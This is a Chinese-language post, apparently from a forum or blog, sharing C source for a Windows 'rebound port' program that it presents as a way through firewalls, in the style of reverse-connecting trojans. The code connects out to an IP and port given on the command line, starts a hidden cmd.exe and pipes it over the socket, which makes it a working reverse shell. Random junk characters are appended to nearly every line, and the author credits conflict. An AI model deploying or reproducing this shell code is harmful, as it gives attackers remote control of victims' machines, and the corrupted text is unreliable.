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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 50,'z?-_  
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/* ============================== #@R0$x  
Rebound port in Windows NT B `(jTL  
By wind,2006/7 Q+:y  
===============================*/ \ TV  
#include Rs%`6et}\  
#include 1[FN: hm  
5^B79A"}  
#pragma comment(lib,"wsock32.lib") J=g)rd[`  
O2w-nd74U  
void OutputShell(); eV9U+]C`  
SOCKET sClient; pv_o4qEN  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -`O{iHfM|P  
f1 ;  
void main(int argc,char **argv) VD;*UkapZx  
{ m'o dVZ7  
WSADATA stWsaData; .wfydu)3  
int nRet; SE'Im  
SOCKADDR_IN stSaiClient,stSaiServer; $O"ss>8Se  
/9`4f"  
if(argc != 3) "Xq_N4  
{ }w0pi  
printf("Useage:\n\rRebound DestIP DestPort\n"); r&gvP|W%  
return; c;l!i-  
} XiUq#84Q  
MmF&jd-=  
WSAStartup(MAKEWORD(2,2),&stWsaData); w#A)B<Y/"  
[!'+}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6Yu:v  
YpZB-9Krf  
stSaiClient.sin_family = AF_INET; 1"h"(dA  
stSaiClient.sin_port = htons(0); Jw)JV~/0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =pH2V^<<#  
DI C*{aBf  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a<cwrDZ  
{ amBg<P`'_  
printf("Bind Socket Failed!\n"); JcAsrtrG]  
return; kiTC)S=])  
} Ji4p6$ .j-  
]aX@(3G1s  
stSaiServer.sin_family = AF_INET; $:9t(X)H  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c*bvZC^6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _imuyt".+  
{ bj!]j  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #<{v~sVp&  
{ MIMC(<   
printf("Connect Error!"); 6^`iuC5  
return;  X\^nV  
} 1I Xtu   
OutputShell(); )Z7Vm2a  
} X\^V{v^-  
2]!@)fio`  
void OutputShell() xS*UY.>  
{ HsY5wC  
char szBuff[1024]; -3Kh >b)  
SECURITY_ATTRIBUTES stSecurityAttributes; w~lH2U'k}  
OSVERSIONINFO stOsversionInfo; sSM"~_y\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l;-Ml{}|0  
STARTUPINFO stStartupInfo; .. `I <2  
char *szShell; ?ZF):}r vZ  
PROCESS_INFORMATION stProcessInformation; epy2}TI  
unsigned long lBytesRead; \"lz,bT  
Lqgrt]L_"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P9v(5Z00|d  
<WXVUEea  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I8xdE(o8+  
stSecurityAttributes.lpSecurityDescriptor = 0; dN8Mfa)  
stSecurityAttributes.bInheritHandle = TRUE; %>KbaM1b  
E7Lqa S  
q*I*B1p[m  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lF}[ YL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7|,L{~  
VfU"%0x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w~ Tg?RH:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F8pA)!AH  
stStartupInfo.wShowWindow = SW_HIDE; k{' ZaP)  
stStartupInfo.hStdInput = hReadPipe; f$I=o N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B[b>T=  
+kSu{Tc  
GetVersionEx(&stOsversionInfo); (_FU3ZW!  
O( ^h_  
switch(stOsversionInfo.dwPlatformId) mU5Ox4>&9  
{ t.P@Ba^  
case 1: gInh+XZs  
szShell = "command.com"; * EWWN?d  
break; mixsJ}e  
default: JP#S/kJ%3  
szShell = "cmd.exe"; *X0>Ru[  
break; |{9<%Ok4P  
} abo=v<mR  
,i:?c  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !XPjRdq  
4BCPh:  
send(sClient,szMsg,77,0); aOD h5  
while(1) pz%s_g'  
{ 7l* &Fh9;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); TgiZ % G  
if(lBytesRead) 2<D| {  
{ X^\D"fmE.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P6+ B!pY  
send(sClient,szBuff,lBytesRead,0); VLuHuih  
} erH,EE^-x<  
else b RAD_  
{ 4'QX1p  
lBytesRead=recv(sClient,szBuff,1024,0); uw;Sfx,s  
if(lBytesRead<=0) break; x|O7}oj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v,w af`)J  
} ]]j^  
} yE}\4_0I/  
&8$v~  
return; T$;S   
}
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